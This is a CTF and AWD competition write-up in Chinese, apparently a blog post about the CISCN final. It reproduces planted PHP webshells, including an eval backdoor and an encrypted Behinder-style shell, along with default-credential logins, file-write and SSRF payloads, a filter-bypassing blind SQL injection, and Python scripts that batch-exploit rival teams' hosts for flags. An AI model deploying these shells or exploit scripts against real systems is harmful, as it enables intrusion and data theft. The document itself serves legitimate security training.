CISCN_Final——AWD&CTF部分Writeup


感想

今年的final现场情况多的不谈,赛题的话第一天是AWD,第二天是CTF,AWD四道WEB,CTF三道web看了两道,AWD的话难度还好,好多利用方式都没有太多详细的审代码,都是日志审计直接利用,到了下午有时间了,才仔细的看了看代码。CTF的注入挺有意思的,无网环境考sql注入绕过,最后还是靠原来的笔记和经验搞出来的,WEB3的话反序列化逃逸,和0CTF的miaomiaomiao挺像的

AWD

WEB1

网站直接说了模板框架是ZZCMS,赛场的时候是让学弟管的前两个站,好像是预制了不少的shell,可以直接利用

image.png-69.8kB

D盾扫一波

image.png-100.7kB

好像最开始还有预留的a.php,不过没有备份下来,看一下两个已知后门

wb.php

<?php 
$string = '';
$password = 'password';
if(isset($_POST[$password])){
    $hex = $_POST[$password];
    for($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
}
eval($string);
?>

label.php的shell部分内容是一样的

image.png-35.9kB

简单分析一下代码,存在eval代码执行,执行的$string变量是通过POST过来的数据进行hexdec解密,chr函数再次解密拼接形成的,两个函数的作用分别是将十六进制字符转换为十进制字符,将ASCII码转换为字符,所以我们如果构造eval代码执行输出1的话,需要先对我们的传输的变量进行ascii码转化,之后依次进行hex加密即可

echo 1; #输出1
10199104111324959 #ascii码后数据
6563686f20313b #依次hex加密后的代码

执行结果:

image.png-78.9kB

写个脚本批量拿一下flag

import requests

url="172.20."

def get_shell_hex(ip):
    shell_url="/wb.php"
    comm_str="system('cat /flag.txt');"
    payload=''
    for i in str(comm_str):
        payload+=str(hex(ord(i))).replace('0x','')
    #print payload
    print ip+shell_url
    sss=requests.post(url=ip+shell_url,data={"password":payload})
    print sss.text
    print ip

for i in range(102,183):
    port = "%s.106" % i
    if i == 131:
        continue
    else:
        ip= url+port
        get_shell_hex(ip)

剩下的代码在赛场上也没顾得上审计,主要是抓流量骑别人的马了,修复的话,我这里直接就把eval注释掉了

WEB2

这个事基于ThinkPHP修改的web站点,主要漏洞的话是这个任意文件写入

shuipf\Modules\Template\Action\StyleAction.class.php

image.png-78.6kB

代码内可以看到没有对文件上传的内容进行校验,可以直接写入php内容,同时dir参数我们也可以控制,构造一下payload写入webshell,不过这个需要登陆后台才能操作,默认密码是admin777,上午的时候全场密码都被重置成了admin888,还好在日志里面看到了,成功利用了一波

目录: index.php/Template/Style/add?file=

POST_data:
file=.config&content=<?= system("cat /flag.txt");?>&dir=../../

直接访问根目录下.config.php即可获取到flag了,写个批量

import requests

url="172.20."

def get_web2_flag(ip):
    flag_url="/.config.php"
    sss=requests.get(url=ip+flag_url)
    print sss.text
    print ip

for i in range(102,183):
    port = "%s.107" % i
    if i == 131:
        continue
    else:
        ip= url+port
        get_web2_flag(ip)

WEB3

这个是Joomla的框架,漏洞其实还是挺多的,不过比赛场上我一直用的是一个漏洞,直接在后台登陆后编辑index.php的数据,获取flag了

后台的默认登陆页面:

administrator/index.php

弱口令:admin/admin123

在布景模块中选择编辑index.php的内容,在末尾添加获取flag的命令

<?php echo `cat /flag.txt`;?>

之后访问index.php的页面就可以获取到flag了,这个弱口令好多站都没修改,也可能是没注意到,当天比赛主要拿分就是WEB3了,拿下来了不少分,脚本也很好写,获取index.php页面最后四十个字符值就好了

url="172.20."

def get_web3_flag(ip):
    flag_url="/index.php"
    sss=requests.get(url=ip+flag_url)
    print sss.text[-40:]
    print ip

for i in range(102,183):
    port = "%s.108" % i
    if i == 131:
        continue
    else:
        ip= url+port
        get_web3_flag(ip)

然后WEB3还预制了一个加密的WEBSHELL,是冰蝎加密shell,没网也想不起来密码,就只能给注释掉了

shell地址:

/administrator/modules/mod_popular/shell.php
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码你懂的
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");
    }}
    @call_user_func(new C(),$params);
?>

WEB4

这个是下午闲暇下来没事干又重申了一遍代码后才发现的洞,上午直接加了个WAF和日志,也没见有队伍打,就搁置了,审的时候才发现利用很简单

image.png-22.8kB

blog里面三个文件

image.png-12.2kB

三个都是过狗的shell文件,一个一个分析一下

ciscn_config.php

<?php
error_reporting(0);
$con = mysql_connect ("127.0.0.1", "root", "c933ccc3b6b2fe8cb830a5e76f5f98a5");
if (!$con){
  die('Could not connect: ' . mysqli_error());
}
mysql_select_db("ciscn_web", $con);

forward_static_call_array(assert,array($_POST[x]));

?>

这个主要的漏洞点在于最后一行函数,forward_static_call_array,这是和call_user_func_array类似的函数,是一个不太常见的回调函数,使用assert来调用我们POST过去的数据达到getshell的目的

本地测试forward_static_call_array调用其他函数:

php > forward_static_call_array(system,array("pwd"));
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
/var/www/html
php > forward_static_call_array(system,array("whoami"));
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
root

不过在高版本的PHP中进行测试的时候,发现assert或者eval直接报错了,使用PHP5.X版本进行测试的时候成功

image.png-75kB

依然是写一个利用:

def ciscn_config_shell(ip):
    flag_url="/ciscn_config.php"
    payload="system('cat /flag.txt');"
    sss=requests.post(url=ip+flag_url,data={"x":payload})
    print sss.text[-40:]
    print ip

之后是下一个文件ciscn_notes.php

<?php
error_reporting(0);
session_start();
include('ciscn_config.php');

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['topic'])){
        $topic = mysql_real_escape_string($_GET['topic']);
        $topic = sprintf("AND topic='%s'", $topic);
    }else{
        $topic = '';
    }
    $sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['topic'])&&isset($row['substance'])){
        echo "<h1>".$row['topic']."</h1><br>".$row['substance'];
        die();
    }else{
        die("You're wrong!");
    }
}


class ciscn_nt {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
?>

关键getshell的地方在最后一个class,同样是使用回调函数的方式调用assert来执行我们POST过去的数据,不过是将调用方式写入class中,防止被安全工具检测出来,调用过程也很简单,直接POST传输参数添加我们执行的语句即可

image.png-106.5kB

然后是第三个文件,ciscn_url.php

<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    exit('error');
}
readfile($url);
?>

这个就利用方式就比较简单了,使用parse_url获取页面内容,不过对访问页面的地址进行检测,必须存在host部分,且host部分是localhost后才能执行下一步操作,否则返回error,最后一步操作是读取文件,思路很简单,直接利用file协议去获取文件即可

?url=file://localhost/flag.txt

image.png-102.7kB

这是三个文件的利用漏洞,修复的直接都把最后执行代码部分注释掉即可,批量化也很简单

url="172.20."

def ciscn_config_shell(ip):
    flag_url="/ciscn_config.php"
    payload="system('cat /flag.txt');"
    sss=requests.post(url=ip+flag_url,data={"x":payload})
    print sss.text[-40:]
    print ip

def ciscn_notes_shell(ip):
    flag_url="/ciscn_notes.php"
    payload="system('cat /flag.txt');"
    sss=requests.post(url=ip+flag_url,data={"x":payload})
    print sss.text[-40:]
    print ip

def ciscn_url_shell(ip):
    flag_url="/ciscn_url.php"
    payload="?url=file://localhost/flag.txt"
    sss=requests.get(url=ip+flag_url+payload)
    print sss.text
    print ip

for i in range(102,183):
    port = "%s.109" % i
    if i == 131:
        continue
    else:
        ip= url+port
        ciscn_url_shell(ip)

然后用D盾扫的话可以看到在uploads文件夹下面存在check.png图片,十六进制查看一下

image.png-9.7kB

是用phar生成的文件,可以使用刚才的ciscn_notes.php进行调用执行,不过在比赛中一直没有用这个点去打,写的利用也是基于这三个文件的

CTF

CTF的话难度适中

WEB1

是一个注入,源码里面直接标明了flag所在的表和列,最主要是让我们构造读取的payload,题目的sql语句:

$query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
//$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit";

fix阶段拿到的源码:

<?php
include 'conn.php';

function is_safe($id, $limit){

    $common_blacklist = ["!", "\"", "#", "%", "&", "'", ";", "<", "=", ">", "\\", "^", "`", "|" ,'between','not'," ","like",','];
    $hack_list = ['union','join','in',"/**/","substr","ascii","left","right"];
    $id_blacklist = ['left','right','like','(',')'];
    $limit_blacklist = ['-'];

    $blacklist = array_merge ($common_blacklist, $hack_list, $id_blacklist);
    foreach ($blacklist as $value) {
        if (stripos($id, $value) !== false)
            die("your param <b>id</b> look like dangerous!");
    }

    $blacklist = array_merge ($common_blacklist, $hack_list, $limit_blacklist);
    foreach ($blacklist as $value) {
        if (stripos($limit, $value) !== false)
            die("your param <b>limit</b> look like dangerous!");
    }

    if( $limit > 10 or $limit <= 0)
    {
        die("your param limit can't >10 or <=0");
    }

    return true;
}



if(isset($_GET["id"]) && isset($_GET['limit'])){
    $id = $_GET["id"];
    $limit = $_GET['limit'];
    if(!is_safe($id, $limit)){
        exit("stop , hack!");
    }

    $query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
    $result = $mysqli->query($query);
    if ($result === false) {
        die("database error, please check your input");
    }
    //var_dump($result);
    $row = $result->fetch_assoc();
    if($row === NULL){
        echo "searched nothing";
    }else {
        var_dump($row);
    }
    while ($row = $result->fetch_assoc()) {
        var_dump($row);
    }
    $result->free();
    $mysqli->close();
}

?>

不管是审代码还是黑盒测试可以发现,id和limit中大部分的函数和特殊符号都被过滤了,不过括号和select还在,在本地构造一下,因为可控变量是两个我们可以在id出进行判断,在limit参数中构造我们的payload来绕过检测

image.png-412.4kB

id=1/*
limit=*/and(1)

这样我们就可以绕过检测进行判断了,构造获取数据的payload,使用regexp正则表达式函数进行ascii码的数据匹配

image.png-328.2kB

构造payload,直接查询flag:

id=1/*
limit=*/and(ord(substr((select(flag)from(real_flag))from(1)for(1)))regexp(115))

然后通过burp或者python脚本进行盲注获取即可,在比赛的时候用的burp,因为python一直打不过去,还好flag的字符串不长

附上脚本

import requests
import string
url='http://172.1.31.10/?id=1/*&limit=1*/and(ord(mid((SELECT(flag)FROM(real_flag))from(%s)for(1)))regexp(%s))'
text=''
for i in range(1,30):
    for j in range(48,128):
        url = url % (i,j)
        #url="http://172.1.31.10/?id=1/*&limit=1*/and(ord(mid((SELECT(flag)FROM(real_flag))from(6)for(1)))regexp(52))"
        re=requests.get(url)
        #print(url)
        #print(re.text)
        if "flag{this_is_a_fake_flag}" in re.text:
            text+=chr(j)
            print(text)
            #continue

结尾

在武汉待了三天半的时间,一直忙比赛的事情也没出去,有一说一,最后的晚宴确实不错,队友们都抽到了不少好东西,感谢华为爸爸


4 thoughts on “CISCN_Final——AWD&CTF部分Writeup”

  • 深圳首富郭巨富 says:

    还忆起一年前,初见师傅,师傅当时雄厚魁梧的身材就深深吸引了我得注意力,初入安全,便是看着师傅的博客 来学习,想起小时候,妈妈就常和我说:“总有那么一个人,在你人生路上会成为你最关键的人生导师。”在我长大的时候,也曾拜读过康有为先生的文章,其中便也写道:“师道既尊,学风自善;片言之赐,皆吾师也。”师傅的博客深深影响了我的写作风格和学习路线,可以说,如果没有常来看师傅的博客,我在学习安全的路上兴许便会越走越远,相反的,恰恰正是因为我对师傅的每一篇博客都曾仔仔细细的阅读,才导致我现在的学习之路少走了许多弯路,不仅如此,通过观看师傅的博客我更是学习到了一种21世纪早年盛行的“黑客精神”,即:无私奉献自己的知识,如果自己学习了什么,将他分享给其他想要学习的人。在当下浮躁的年代,师傅的精神显得是那么与众不同, 可谓“脱世俗也”。不禁让我想起陈续儒先生在《小窗幽记》当中所述的:“仕途须赫奕,常思林下的风味,则权势之念自轻;世途须纷华,常思泉下的风景,则利欲之心自淡。”的那么一种心境状态,我想,如果陈续儒先生穿越来到现世,通过观阅师傅的博客,一定会与师傅称兄道弟,交谈甚欢。话又回到师傅的这边博客,相比较师傅最开始的一篇博客中的略显青涩,现在的文章写的愈发老道,相当多的知识点通过观看这边文章可以说是醍醐灌顶,在看该篇文章之前,我还对这些题目一窍不通,难以下笔,而师傅所述的文章就像一道光,穿越了出题人所设下的层层障碍,来到我的身边,带着我走出疑惑。可谓“临表涕零,不知所言。”

易烊千玺的小迷妹进行回复 取消回复

电子邮件地址不会被公开。 必填项已用*标注